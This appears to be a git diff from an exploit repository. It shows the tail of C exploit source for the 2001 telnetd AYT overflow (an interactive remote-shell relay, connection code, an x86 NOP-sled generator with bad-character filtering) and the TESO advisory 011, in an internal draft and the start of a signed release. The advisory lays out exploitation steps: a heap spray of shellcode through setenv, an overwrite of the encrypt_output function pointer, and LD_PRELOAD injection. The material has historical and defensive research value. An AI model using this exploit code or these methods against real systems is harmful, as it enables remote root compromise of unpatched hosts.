| 522 | |||
| 523 | return (1); | ||
| 524 | } | ||
| 525 | |||
| 526 | printf ("check: FAILED\n"); | ||
| 527 | |||
| 528 | return (0); | ||
| 529 | } | ||
| 530 | |||
| 531 | |||
| 532 | void | ||
| 533 | shell (int sock) | ||
| 534 | { | ||
| 535 | int l; | ||
| 536 | char buf[512]; | ||
| 537 | fd_set rfds; | ||
| 538 | |||
| 539 | |||
| 540 | while (1) { | ||
| 541 | FD_SET (0, &rfds); | ||
| 542 | FD_SET (sock, &rfds); | ||
| 543 | |||
| 544 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 545 | if (FD_ISSET (0, &rfds)) { | ||
| 546 | l = read (0, buf, sizeof (buf)); | ||
| 547 | if (l <= 0) { | ||
| 548 | perror ("read user"); | ||
| 549 | exit (EXIT_FAILURE); | ||
| 550 | } | ||
| 551 | write (sock, buf, l); | ||
| 552 | } | ||
| 553 | |||
| 554 | if (FD_ISSET (sock, &rfds)) { | ||
| 555 | l = read (sock, buf, sizeof (buf)); | ||
| 556 | if (l <= 0) { | ||
| 557 | perror ("read remote"); | ||
| 558 | exit (EXIT_FAILURE); | ||
| 559 | } | ||
| 560 | write (1, buf, l); | ||
| 561 | } | ||
| 562 | } | ||
| 563 | } | ||
| 564 | |||
| 565 | |||
| 566 | /* ripped from zodiac */ | ||
| 567 | void | ||
| 568 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 569 | { | ||
| 570 | unsigned int dp, p; /* data pointer */ | ||
| 571 | const char trans[] = | ||
| 572 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 573 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 574 | "nopqrstuvwxyz{|}~...................................." | ||
| 575 | "....................................................." | ||
| 576 | "........................................"; | ||
| 577 | |||
| 578 | |||
| 579 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 580 | |||
| 581 | for (dp = 1; dp <= amount; dp++) { | ||
| 582 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 583 | if ((dp % 8) == 0) | ||
| 584 | fprintf (stderr, " "); | ||
| 585 | if ((dp % 16) == 0) { | ||
| 586 | fprintf (stderr, "| "); | ||
| 587 | p = dp; | ||
| 588 | for (dp -= 16; dp < p; dp++) | ||
| 589 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 590 | fflush (stderr); | ||
| 591 | fprintf (stderr, "\n"); | ||
| 592 | } | ||
| 593 | fflush (stderr); | ||
| 594 | } | ||
| 595 | if ((amount % 16) != 0) { | ||
| 596 | p = dp = 16 - (amount % 16); | ||
| 597 | for (dp = p; dp > 0; dp--) { | ||
| 598 | fprintf (stderr, " "); | ||
| 599 | if (((dp % 8) == 0) && (p != 8)) | ||
| 600 | fprintf (stderr, " "); | ||
| 601 | fflush (stderr); | ||
| 602 | } | ||
| 603 | fprintf (stderr, " | "); | ||
| 604 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 605 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 606 | fflush (stderr); | ||
| 607 | } | ||
| 608 | fprintf (stderr, "\n"); | ||
| 609 | |||
| 610 | return; | ||
| 611 | } | ||
| 612 | |||
| 613 | |||
| 614 | |||
| 615 | unsigned long int | ||
| 616 | net_resolve (char *host) | ||
| 617 | { | ||
| 618 | long i; | ||
| 619 | struct hostent *he; | ||
| 620 | |||
| 621 | i = inet_addr(host); | ||
| 622 | if (i == -1) { | ||
| 623 | he = gethostbyname(host); | ||
| 624 | if (he == NULL) { | ||
| 625 | return (0); | ||
| 626 | } else { | ||
| 627 | return (*(unsigned long *) he->h_addr); | ||
| 628 | } | ||
| 629 | } | ||
| 630 | return (i); | ||
| 631 | } | ||
| 632 | |||
| 633 | |||
| 634 | int | ||
| 635 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 636 | unsigned short int port, int sec) | ||
| 637 | { | ||
| 638 | int n, | ||
| 639 | len, | ||
| 640 | error, | ||
| 641 | flags; | ||
| 642 | int fd; | ||
| 643 | struct timeval tv; | ||
| 644 | fd_set rset, wset; | ||
| 645 | struct sockaddr_in csa; | ||
| 646 | |||
| 647 | if (cs == NULL) | ||
| 648 | cs = &csa; | ||
| 649 | |||
| 650 | /* first allocate a socket */ | ||
| 651 | cs->sin_family = AF_INET; | ||
| 652 | cs->sin_port = htons (port); | ||
| 653 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 654 | if (fd == -1) | ||
| 655 | return (-1); | ||
| 656 | |||
| 657 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 658 | close (fd); | ||
| 659 | return (-1); | ||
| 660 | } | ||
| 661 | |||
| 662 | flags = fcntl (fd, F_GETFL, 0); | ||
| 663 | if (flags == -1) { | ||
| 664 | close (fd); | ||
| 665 | return (-1); | ||
| 666 | } | ||
| 667 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 668 | if (n == -1) { | ||
| 669 | close (fd); | ||
| 670 | return (-1); | ||
| 671 | } | ||
| 672 | |||
| 673 | error = 0; | ||
| 674 | |||
| 675 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 676 | if (n < 0) { | ||
| 677 | if (errno != EINPROGRESS) { | ||
| 678 | close (fd); | ||
| 679 | return (-1); | ||
| 680 | } | ||
| 681 | } | ||
| 682 | if (n == 0) | ||
| 683 | goto done; | ||
| 684 | |||
| 685 | FD_ZERO(&rset); | ||
| 686 | FD_ZERO(&wset); | ||
| 687 | FD_SET(fd, &rset); | ||
| 688 | FD_SET(fd, &wset); | ||
| 689 | tv.tv_sec = sec; | ||
| 690 | tv.tv_usec = 0; | ||
| 691 | |||
| 692 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 693 | if (n == 0) { | ||
| 694 | close(fd); | ||
| 695 | errno = ETIMEDOUT; | ||
| 696 | return (-1); | ||
| 697 | } | ||
| 698 | if (n == -1) | ||
| 699 | return (-1); | ||
| 700 | |||
| 701 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 702 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 703 | len = sizeof(error); | ||
| 704 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 705 | errno = ETIMEDOUT; | ||
| 706 | return (-1); | ||
| 707 | } | ||
| 708 | if (error == 0) { | ||
| 709 | goto done; | ||
| 710 | } else { | ||
| 711 | errno = error; | ||
| 712 | return (-1); | ||
| 713 | } | ||
| 714 | } | ||
| 715 | } else | ||
| 716 | return (-1); | ||
| 717 | |||
| 718 | done: | ||
| 719 | n = fcntl(fd, F_SETFL, flags); | ||
| 720 | if (n == -1) | ||
| 721 | return (-1); | ||
| 722 | return (fd); | ||
| 723 | } | ||
| 724 | |||
| 725 | |||
| 726 | /* imported from shellkit */ | ||
| 727 | |||
| 728 | unsigned long int | ||
| 729 | random_get (unsigned long int low, unsigned long int high) | ||
| 730 | { | ||
| 731 | unsigned long int val; | ||
| 732 | |||
| 733 | if (low > high) { | ||
| 734 | low ^= high; | ||
| 735 | high ^= low; | ||
| 736 | low ^= high; | ||
| 737 | } | ||
| 738 | |||
| 739 | val = (unsigned long int) random (); | ||
| 740 | val %= (high - low); | ||
| 741 | val += low; | ||
| 742 | |||
| 743 | return (val); | ||
| 744 | } | ||
| 745 | |||
| 746 | |||
| 747 | void | ||
| 748 | random_init (void) | ||
| 749 | { | ||
| 750 | srandom (time (NULL)); | ||
| 751 | } | ||
| 752 | |||
| 753 | |||
| 754 | int | ||
| 755 | bad (unsigned char u) | ||
| 756 | { | ||
| 757 | if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') | ||
| 758 | return (1); | ||
| 759 | |||
| 760 | return (0); | ||
| 761 | } | ||
| 762 | |||
| 763 | int | ||
| 764 | badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) | ||
| 765 | { | ||
| 766 | int n; | ||
| 767 | |||
| 768 | for (code_len -= 1 ; code_len >= 0 ; --code_len) { | ||
| 769 | for (n = 0 ; n < bad_len ; ++n) | ||
| 770 | if (code[code_len] == bad[n]) | ||
| 771 | return (1); | ||
| 772 | } | ||
| 773 | |||
| 774 | return (0); | ||
| 775 | } | ||
| 776 | |||
| 777 | unsigned long int | ||
| 778 | x86_nop_rwreg (void) | ||
| 779 | { | ||
| 780 | unsigned long int reg; | ||
| 781 | |||
| 782 | do { | ||
| 783 | reg = random_get (0, 7); | ||
| 784 | } while (reg == 4); /* 4 = $esp */ | ||
| 785 | |||
| 786 | return (reg); | ||
| 787 | } | ||
| 788 | |||
| 789 | |||
| 790 | |||
| 791 | unsigned long int | ||
| 792 | x86_nop_xfer (char *xferstr) | ||
| 793 | { | ||
| 794 | int bw = 0; /* bitfield walker */ | ||
| 795 | unsigned char tgt; /* resulting instruction */ | ||
| 796 | |||
| 797 | /* in a valid xferstr we trust */ | ||
| 798 | for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { | ||
| 799 | switch (xferstr[0]) { | ||
| 800 | case ('0'): | ||
| 801 | BSET (tgt, 1, 0, bw); | ||
| 802 | break; | ||
| 803 | case ('1'): | ||
| 804 | BSET (tgt, 1, 1, bw); | ||
| 805 | break; | ||
| 806 | case ('r'): | ||
| 807 | BSET (tgt, 3, x86_nop_rwreg (), bw); | ||
| 808 | break; | ||
| 809 | case ('.'): | ||
| 810 | break; /* ignore */ | ||
| 811 | default: | ||
| 812 | fprintf (stderr, "on steroids, huh?\n"); | ||
| 813 | exit (EXIT_FAILURE); | ||
| 814 | break; | ||
| 815 | } | ||
| 816 | } | ||
| 817 | |||
| 818 | if (bw != 8) { | ||
| 819 | fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); | ||
| 820 | exit (EXIT_FAILURE); | ||
| 821 | } | ||
| 822 | |||
| 823 | return (tgt); | ||
| 824 | } | ||
| 825 | |||
| 826 | |||
| 827 | unsigned int | ||
| 828 | x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 829 | unsigned char *bad, int bad_len) | ||
| 830 | { | ||
| 831 | int walk; | ||
| 832 | int bcount; /* bad counter */ | ||
| 833 | char * xs; | ||
| 834 | char * xferstr[] = { | ||
| 835 | "0011.0111", /* aaa */ | ||
| 836 | "0011.1111", /* aas */ | ||
| 837 | "1001.1000", /* cbw */ | ||
| 838 | "1001.1001", /* cdq */ | ||
| 839 | "1111.1000", /* clc */ | ||
| 840 | "1111.1100", /* cld */ | ||
| 841 | "1111.0101", /* cmc */ | ||
| 842 | "0010.0111", /* daa */ | ||
| 843 | "0010.1111", /* das */ | ||
| 844 | "0100.1r", /* dec <reg> */ | ||
| 845 | "0100.0r", /* inc <reg> */ | ||
| 846 | "1001.1111", /* lahf */ | ||
| 847 | "1001.0000", /* nop */ | ||
| 848 | "1111.1001", /* stc */ | ||
| 849 | "1111.1101", /* std */ | ||
| 850 | "1001.0r", /* xchg al, <reg> */ | ||
| 851 | NULL, | ||
| 852 | }; | ||
| 853 | unsigned char tgt; | ||
| 854 | |||
| 855 | |||
| 856 | for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { | ||
| 857 | /* avoid endless loops on excessive badlisting */ | ||
| 858 | for (bcount = 0 ; bcount < 16384 ; ++bcount) { | ||
| 859 | xs = xferstr[random_get (0, 15)]; | ||
| 860 | tgt = x86_nop_xfer (xs); | ||
| 861 | |||
| 862 | dest[walk] = tgt; | ||
| 863 | if (badstr (&dest[walk], 1, bad, bad_len) == 0) | ||
| 864 | break; | ||
| 865 | } | ||
| 866 | |||
| 867 | /* should not happen */ | ||
| 868 | if (bcount >= 16384) { | ||
| 869 | fprintf (stderr, "too much blacklisting, giving up...\n"); | ||
| 870 | exit (EXIT_FAILURE); | ||
| 871 | } | ||
| 872 | } | ||
| 873 | |||
| 874 | return (walk); | ||
| 875 | } | ||
| 876 | |||
| 877 | |||
diff --git a/exploits/7350854/7350854.id0 b/exploits/7350854/7350854.id0 new file mode 100644 index 0000000..5b092a6 --- /dev/null +++ b/exploits/7350854/7350854.id0 | |||
| Binary files differ | |||
diff --git a/exploits/7350854/7350854.id1 b/exploits/7350854/7350854.id1 new file mode 100644 index 0000000..96f808d --- /dev/null +++ b/exploits/7350854/7350854.id1 | |||
| Binary files differ | |||
diff --git a/exploits/7350854/7350854.nam b/exploits/7350854/7350854.nam new file mode 100644 index 0000000..3ff1397 --- /dev/null +++ b/exploits/7350854/7350854.nam | |||
| Binary files differ | |||
diff --git a/exploits/7350854/7350854.til b/exploits/7350854/7350854.til new file mode 100644 index 0000000..ab7e149 --- /dev/null +++ b/exploits/7350854/7350854.til | |||
| Binary files differ | |||
diff --git a/exploits/7350854/teso-advisory-011.tar.gz b/exploits/7350854/teso-advisory-011.tar.gz new file mode 100644 index 0000000..8d5f544 --- /dev/null +++ b/exploits/7350854/teso-advisory-011.tar.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350854/teso-advisory-011.txt b/exploits/7350854/teso-advisory-011.txt new file mode 100644 index 0000000..1c1bcbc --- /dev/null +++ b/exploits/7350854/teso-advisory-011.txt | |||
| @@ -0,0 +1,307 @@ | |||
| 1 | |||
| 2 | |||
| 3 | WARNING: THIS IS NOT TO BE DISCLOSED TO ANYONE OUTSIDE OF TESO | ||
| 4 | |||
| 5 | THIS IS A PRELIMINARY VERSION OF THE ADVISORY, IT WILL ONLY BE RELEASED IN | ||
| 6 | CASE OF LEAKAGE OF THE EXPLOIT/VULNERABILITY. | ||
| 7 | |||
| 8 | btw, i have securely stamped myself the vulnerability, i can proof at any | ||
| 9 | point, that we knew it on 2001/06/12 or before. | ||
| 10 | (i found it on 2001/06/09) | ||
| 11 | |||
| 12 | ------ | ||
| 13 | |||
| 14 | TESO Security Advisory | ||
| 15 | 06/10/2001 | ||
| 16 | |||
| 17 | Multiple vendor Telnet Daemon vulnerability | ||
| 18 | |||
| 19 | |||
| 20 | Summary | ||
| 21 | =================== | ||
| 22 | |||
| 23 | Within most of the current telnet daemons in use today there exist a buffer | ||
| 24 | overflow in the telnet option handling. Under certain circumstances it may | ||
| 25 | be possible to exploit it to gain root priviledges remotely. | ||
| 26 | |||
| 27 | |||
| 28 | Systems Affected | ||
| 29 | =================== | ||
| 30 | |||
| 31 | |||
| 32 | Tests | ||
| 33 | =================== | ||
| 34 | |||
| 35 | System | vulnerable | exploitable * | ||
| 36 | ----------------------------------------+--------------+------------------ | ||
| 37 | BSDI 4.x default | yes | yes | ||
| 38 | FreeBSD [2345].x default | yes | yes | ||
| 39 | IRIX 6.5 | yes | no | ||
| 40 | Linux netkit-telnetd < 0.14 | yes | ? | ||
| 41 | Linux netkit-telnetd >= 0.14 | no | | ||
| 42 | NetBSD 1.x default | yes | yes | ||
| 43 | OpenBSD 2.x | yes | ? | ||
| 44 | OpenBSD current | no | | ||
| 45 | Solaris 2.x sparc | yes | ? | ||
| 46 | ----------------------------------------+--------------+------------------ | ||
| 47 | |||
| 48 | * = From our analysis and conclusions, which may not be correct or we may | ||
| 49 | have overseen things. Do not rely on this. | ||
| 50 | |||
| 51 | Details about the systems can be found below. | ||
| 52 | |||
| 53 | |||
| 54 | Impact | ||
| 55 | =================== | ||
| 56 | |||
| 57 | Through sending a specially formed option string to the remote telnet | ||
| 58 | daemon a remote attacker might be able to overwrite sensitive information | ||
| 59 | on the static memory pages. If done properly this may result in arbitrary | ||
| 60 | code getting executed on the remote machine under the priviledges the | ||
| 61 | telnet daemon runs on, usually root. | ||
| 62 | |||
| 63 | |||
| 64 | Explanation | ||
| 65 | =================== | ||
| 66 | |||
| 67 | Within every BSD derived telnet daemon under UNIX the telnet options are | ||
| 68 | processed by the 'telrcv' function. This function parses the options | ||
| 69 | according to the telnet protocol and its internal state. During this | ||
| 70 | parsing the results which should be send back to the client are stored | ||
| 71 | within the 'netobuf' buffer. This is done without any bounds checking, | ||
| 72 | since it is assumed that the reply data is smaller than the buffer size | ||
| 73 | (which is BUFSIZ bytes, usually). | ||
| 74 | |||
| 75 | However, using a combination of options, especially the 'AYT' Are You There | ||
| 76 | option, it is possible to append data to the buffer, usually nine bytes | ||
| 77 | long. To trigger this response, two bytes in the input buffer are | ||
| 78 | necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the | ||
| 79 | output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the | ||
| 80 | common case that BUFSIZ is defined to be 1024, this results in a buffer | ||
| 81 | overflow by up to 3584 bytes. On systems where BUFSIZ is defined to be | ||
| 82 | 4096, this is an even greater value (14336). | ||
| 83 | |||
| 84 | Due to the limited set of characters an attacker is able to write outside | ||
| 85 | of the buffer it is difficult - if not impossible on some systems - to | ||
| 86 | exploit this buffer overflow. Another hurdle for a possible attacker may be | ||
| 87 | the lack of interesting information to modify after the buffer. | ||
| 88 | |||
| 89 | This buffer overflow should be considered serious nevertheless, since | ||
| 90 | experience has shown that even complicated vulnerabilities can be | ||
| 91 | exploited by skilled attackers, BIND TSIG and SSH deattack come to mind. | ||
| 92 | |||
| 93 | |||
| 94 | Individual system notes | ||
| 95 | ======================= | ||
| 96 | |||
| 97 | These notes include our rating about exploitability on the individual | ||
| 98 | systems. This may be invalid, due to us overlooking things or may be even | ||
| 99 | plain wrong. Also only the most common versions have been analyzed. If you | ||
| 100 | want to write an exploit, start here. | ||
| 101 | |||
| 102 | |||
| 103 | FreeBSD 4.0-REL | ||
| 104 | FreeBSD 4.2-REL | ||
| 105 | FreeBSD 4.3-BETA | ||
| 106 | NetBSD 1.5 | ||
| 107 | ---------------- | ||
| 108 | |||
| 109 | The binaries of the 4.0-REL (781de77b29f1fc14daab6adefa31e6b9), 4.2-REL | ||
| 110 | (a0491784c6bd4662adc4eb806138f6f8) and 4.3-BETA | ||
| 111 | (ae32821691419385103f3ca7cef89703) release of the FreeBSD operating system | ||
| 112 | and the 1.5 release (e36b5295ae58821eab4d574e729bf356) of the NetBSD | ||
| 113 | operating system, the telnet daemon contains a function pointer | ||
| 114 | 'encrypt_output' near behind the 'netobuf' buffer, which we can overwrite. | ||
| 115 | This function pointer is used under certain circumstances to encrypt the | ||
| 116 | outgoing telnet traffic, which is called from the 'netflush' function. | ||
| 117 | |||
| 118 | By overwriting this pointer in a special way one can make it point to the | ||
| 119 | upper heap space. By abusing the telnet daemons setenv functionality prior | ||
| 120 | to the overflow one can populate the upper heap space with shellcode and | ||
| 121 | nops, right there, where the function pointer will point to. | ||
| 122 | |||
| 123 | The exploitation works in multiple phases: | ||
| 124 | |||
| 125 | 1. Sending of ~16mb (32000 x 510 byte) bytes of nop space and shellcode | ||
| 126 | 2. Aligning the 'nfrontp' pointer to have this position | ||
| 127 | |||
| 128 | ... | 0x00 . 0x00 0x00 0x00 | ... | ||
| 129 | |||
| 130 | Where '|' is the boundary to the function pointer after the 'netobuf' | ||
| 131 | buffer. The '.' position marks where 'nfrontp' points at | ||
| 132 | 3. Send an 'IAC WILL 0x08' sequence, which will write: | ||
| 133 | |||
| 134 | ... | 0x00 0xff 0xfb 0x08 | . 0x00 ... | ||
| 135 | |||
| 136 | 4. Trigger the function pointer by causing the telnet daemon to call | ||
| 137 | 'netflush' | ||
| 138 | |||
| 139 | Step 1 is a tedious process and can even locally take a few minutes, | ||
| 140 | because the entire environment array is walked every time a setenv is | ||
| 141 | called, to check whether the environment variable already exists. Steps 2 | ||
| 142 | to 4 are within a final overflow buffer, they are only seperated here for | ||
| 143 | clearness. The alignment in step 2 can be a problem since we can usually | ||
| 144 | only advance the 'nfrontp' pointer by three (IAC WILL|WONT|DO|DONT OPT | ||
| 145 | sequence) or nine ("\r\n[Yes]\r\n") bytes. To come around this we need an | ||
| 146 | advancement 'n' for that is true: n mod 3 = 1. XXX/TODO: write | ||
| 147 | |||
| 148 | |||
| 149 | FreeBSD 4.3-REL | ||
| 150 | --------------- | ||
| 151 | |||
| 152 | Is not affected by the function pointer method. But the 'envinit' array is | ||
| 153 | behind the buffer. Normally the 'envinit' array is used to initialize the | ||
| 154 | 'environ' pointer with. The 'envinit' array is in the static memory too and | ||
| 155 | can be overwritten. | ||
| 156 | |||
| 157 | Once setenv is called within the telnetd process, the FreeBSD C library | ||
| 158 | detects that the 'environ' environment pointer points to non allocated | ||
| 159 | space ('alloced' global variable is 0) and creates a copy of the array | ||
| 160 | within the heap space. From there on, all of the telnet daemons setenv | ||
| 161 | requests are inserted within this malloc-stored array and the 'envinit' | ||
| 162 | array, which we can overwrite, becomes useless. | ||
| 163 | |||
| 164 | XXX/Proposed exploitation method: | ||
| 165 | |||
| 166 | Overwrite envinit[0] with a valid pointer to an environment string such as | ||
| 167 | "LD_PRELOAD=/tmp/foo.so". Normally the clients environment set requests are | ||
| 168 | checked for sanity and invalid values such as "LD_*", "_RLD_*" and | ||
| 169 | "SHELLINIT" are avoided. By using this raw overwrite method we may have a | ||
| 170 | chance to inject an environment string directly into the environment array. | ||
| 171 | To make this work a few things have to be considered. First, the pointer | ||
| 172 | must be valid and point to mapped space. By overwritting the pointer and | ||
| 173 | then continuing the normal telnet login we may be able to trick the linker | ||
| 174 | into loading our bogus libraries. This would be a local root exploit or a | ||
| 175 | remote one, if we are able to store files on the remote host. | ||
| 176 | |||
| 177 | |||
| 178 | IRIX 6.5 | ||
| 179 | -------- | ||
| 180 | |||
| 181 | The good thing about IRIX telnet daemon is that it comes with symbols. The | ||
| 182 | bad thing however is that it does not look to be exploitable. The memory | ||
| 183 | layout is quite easy (/usr/etc/telnetd is a N32 binary): | ||
| 184 | |||
| 185 | sizes: (4160) | (4) | (4) | | ||
| 186 | what: netobuf | nfrontp | pfrontp | ... | ||
| 187 | |||
| 188 | They define - as various other telnet daemons do - an extra bogus space to | ||
| 189 | the 'netobuf' buffer, which is 64 bytes (called "NETSLOP" in other daemons | ||
| 190 | sources). 'BUFSIZ' is defined to 1024 by default on IRIX, so at first | ||
| 191 | glance you might think it is a problem to overwrite 4160 bytes, but it is | ||
| 192 | not for that we can send fragmented TCP frames which can be up to 64 | ||
| 193 | kilobytes in size. So we can make a 4096 input buffer read without problems. | ||
| 194 | |||
| 195 | But the real problem is the 'nfrontp'. Normally the decent MIPSPro C | ||
| 196 | Compiler optimizes as much pointers into registers as possible, but the | ||
| 197 | 'nfrontp' is defined static and used across all over the code, therefore | ||
| 198 | its memory bound into its place and always synced with its real value. If | ||
| 199 | we overwrite just parts of it, it reacts very sensitive and crashes at any | ||
| 200 | read/write access to it. Since IRIX uses the big endian mode of the MIPS | ||
| 201 | CPU the 'nfrontp' is stored with the most significant byte first in the | ||
| 202 | memory. It points to 'netobuf' which is defined on the '.bss' segment, | ||
| 203 | which is located at my installation at: 0x7fc49b70 to 0x7fc4f324. The | ||
| 204 | 'nfrontp' content looks like: | ||
| 205 | |||
| 206 | ... (netobuf) ... | 0x7f 0xc4 0xcd 0xa8 | ... | ||
| 207 | |||
| 208 | Since the 'nfrontp' is constantly accessed throughout the code, one has to | ||
| 209 | make it always containing a sane value. Only the mapped areas of the | ||
| 210 | process can be used for this, which are summarized, your addresses may vary: | ||
| 211 | |||
| 212 | 0x7fff0000->0x7fff8000 stack | ||
| 213 | 0x0f9ec000->0x0fbe8000 various mapped files/libraries | ||
| 214 | 0x7fc00114->0x7fc4f400 .text/.*data/.bss and rest | ||
| 215 | |||
| 216 | There may be a way by excessive grow of the heap by using setenv, some more | ||
| 217 | research for this architecture is required to draw a decision. From the | ||
| 218 | current point of view its very difficult, if not impossible to exploit this | ||
| 219 | bug on this binary. | ||
| 220 | |||
| 221 | |||
| 222 | Linux netkit-telnetd version < 0.14 | ||
| 223 | ----------------------------------- | ||
| 224 | |||
| 225 | XXX/TODO: | ||
| 226 | |||
| 227 | |||
| 228 | Linux netkit-telnetd version >= 0.14 | ||
| 229 | ------------------------------------ | ||
| 230 | |||
| 231 | Linux netkit-telnetd from version 0.14 is not directly affected by this bug | ||
| 232 | since they wrap a lot of storing operations which utilize 'nfrontp' in a | ||
| 233 | function 'netoprintf', which does boundary checking. | ||
| 234 | |||
| 235 | However it has to be checked for a one byte overflow, which may be possible | ||
| 236 | at multiple occurances of the code, due to the insecure nature of handling | ||
| 237 | 'nfrontp'. Then, the following code in the function 'netoprintf' may fail | ||
| 238 | to do the boundary checking: | ||
| 239 | |||
| 240 | int len, maxsize; | ||
| 241 | |||
| 242 | maxsize = sizeof(netobuf) - (nfrontp - netobuf); | ||
| 243 | |||
| 244 | va_start(ap, fmt); | ||
| 245 | len = vsnprintf(nfrontp, maxsize, fmt, ap); | ||
| 246 | va_end(ap); | ||
| 247 | |||
| 248 | In case (nfrontp - netobuf) is greater than sizeof(netobuf), the integer | ||
| 249 | 'maxsize' will turn negative and casted to a very large value in the | ||
| 250 | snprintf handling, which makes it behave like sprintf without any boundary | ||
| 251 | checking. | ||
| 252 | |||
| 253 | |||
| 254 | Solution | ||
| 255 | =================== | ||
| 256 | |||
| 257 | The vendors have been notified of the problem at the same time as the | ||
| 258 | general public, vendor patches for your telnet daemon that fix the bug will | ||
| 259 | show up soon. | ||
| 260 | |||
| 261 | Sometimes a fix might not be trivial and require a lot of changes to the | ||
| 262 | source code, due to the insecure nature the 'nfrontp' pointer is handled. | ||
| 263 | The best long term solution is to disable the telnet daemon at all, since | ||
| 264 | there are good and free replacements. | ||
| 265 | |||
| 266 | |||
| 267 | Acknowledgements | ||
| 268 | =================== | ||
| 269 | |||
| 270 | The bug has been discovered by scut. | ||
| 271 | |||
| 272 | The tests and further analysis were done by smiler, zip and scut. | ||
| 273 | |||
| 274 | |||
| 275 | Contact Information | ||
| 276 | =================== | ||
| 277 | |||
| 278 | The TESO crew can be reached by mailing to teso@team-teso.net | ||
| 279 | Our web page is at http://www.team-teso.net/ | ||
| 280 | |||
| 281 | |||
| 282 | References | ||
| 283 | =================== | ||
| 284 | |||
| 285 | [1] TESO | ||
| 286 | http://www.team-teso.net/ | ||
| 287 | |||
| 288 | |||
| 289 | Disclaimer | ||
| 290 | =================== | ||
| 291 | |||
| 292 | This advisory does not claim to be complete or to be usable for any | ||
| 293 | purpose. Especially information on the vulnerable systems may be inaccurate | ||
| 294 | or wrong. Possibly supplied exploit code is not to be used for malicious | ||
| 295 | purposes, but for educational purposes only. | ||
| 296 | |||
| 297 | This advisory is free for open distribution in unmodified form. | ||
| 298 | Articles that are based on information from this advisory should include | ||
| 299 | link [1]. | ||
| 300 | |||
| 301 | |||
| 302 | Exploit | ||
| 303 | =================== | ||
| 304 | |||
| 305 | ------ | ||
| 306 | |||
| 307 | |||
diff --git a/exploits/7350854/teso-advisory-011/teso-advisory-011.txt b/exploits/7350854/teso-advisory-011/teso-advisory-011.txt new file mode 100644 index 0000000..64e9e71 --- /dev/null +++ b/exploits/7350854/teso-advisory-011/teso-advisory-011.txt | |||
| @@ -0,0 +1,153 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | |||
| 5 | - ------ | ||
| 6 | |||
| 7 | TESO Security Advisory | ||
| 8 | 06/10/2001 | ||
| 9 | |||
| 10 | Multiple vendor Telnet Daemon vulnerability | ||
| 11 | |||
| 12 | |||
| 13 | Summary | ||
| 14 | =================== | ||
| 15 | |||
| 16 | Within most of the current telnet daemons in use today there exist a buffer | ||
| 17 | overflow in the telnet option handling. Under certain circumstances it may | ||
| 18 | be possible to exploit it to gain root priviledges remotely. | ||
| 19 | |||
| 20 | |||
| 21 | Systems Affected | ||
| 22 | =================== | ||
| 23 | |||
| 24 | System | vulnerable | exploitable * | ||
| 25 | ----------------------------------------+--------------+------------------ | ||
| 26 | BSDI 4.x default | yes | yes | ||
| 27 | FreeBSD [2345].x default | yes | yes | ||
| 28 | IRIX 6.5 | yes | no | ||
| 29 | Linux netkit-telnetd < 0.14 | yes | ? | ||
| 30 | Linux netkit-telnetd >= 0.14 | no | | ||
| 31 | NetBSD 1.x default | yes | yes | ||
| 32 | OpenBSD 2.x | yes | ? | ||
| 33 | OpenBSD current | no | | ||
| 34 | Solaris 2.x sparc | yes | ? | ||
| 35 | <almost any other vendor's telnetd> | yes | ? | ||
| 36 | ----------------------------------------+--------------+------------------ | ||
| 37 | |||
| 38 | * = From our analysis and conclusions, which may not be correct or we may | ||
| 39 | have overseen things. Do not rely on this. | ||
| 40 | |||
| 41 | Details about the systems can be found below. | ||
| 42 | |||
| 43 | |||
| 44 | Impact | ||
| 45 | =================== | ||
| 46 | |||
| 47 | Through sending a specially formed option string to the remote telnet | ||
| 48 | daemon a remote attacker might be able to overwrite sensitive information | ||
| 49 | on the static memory pages. If done properly this may result in arbitrary | ||
| 50 | code getting executed on the remote machine under the priviledges the | ||
| 51 | telnet daemon runs on, usually root. | ||
| 52 | |||
| 53 | |||
| 54 | Explanation | ||
| 55 | =================== | ||
| 56 | |||
| 57 | Within every BSD derived telnet daemon under UNIX the telnet options are | ||
| 58 | processed by the 'telrcv' function. This function parses the options | ||
| 59 | according to the telnet protocol and its internal state. During this | ||
| 60 | parsing the results which should be send back to the client are stored | ||
| 61 | within the 'netobuf' buffer. This is done without any bounds checking, | ||
| 62 | since it is assumed that the reply data is smaller than the buffer size | ||
| 63 | (which is BUFSIZ bytes, usually). | ||
| 64 | |||
| 65 | However, using a combination of options, especially the 'AYT' Are You There | ||
| 66 | option, it is possible to append data to the buffer, usually nine bytes | ||
| 67 | long. To trigger this response, two bytes in the input buffer are | ||
| 68 | necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the | ||
| 69 | output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the | ||
| 70 | common case that BUFSIZ is defined to be 1024, this results in a buffer | ||
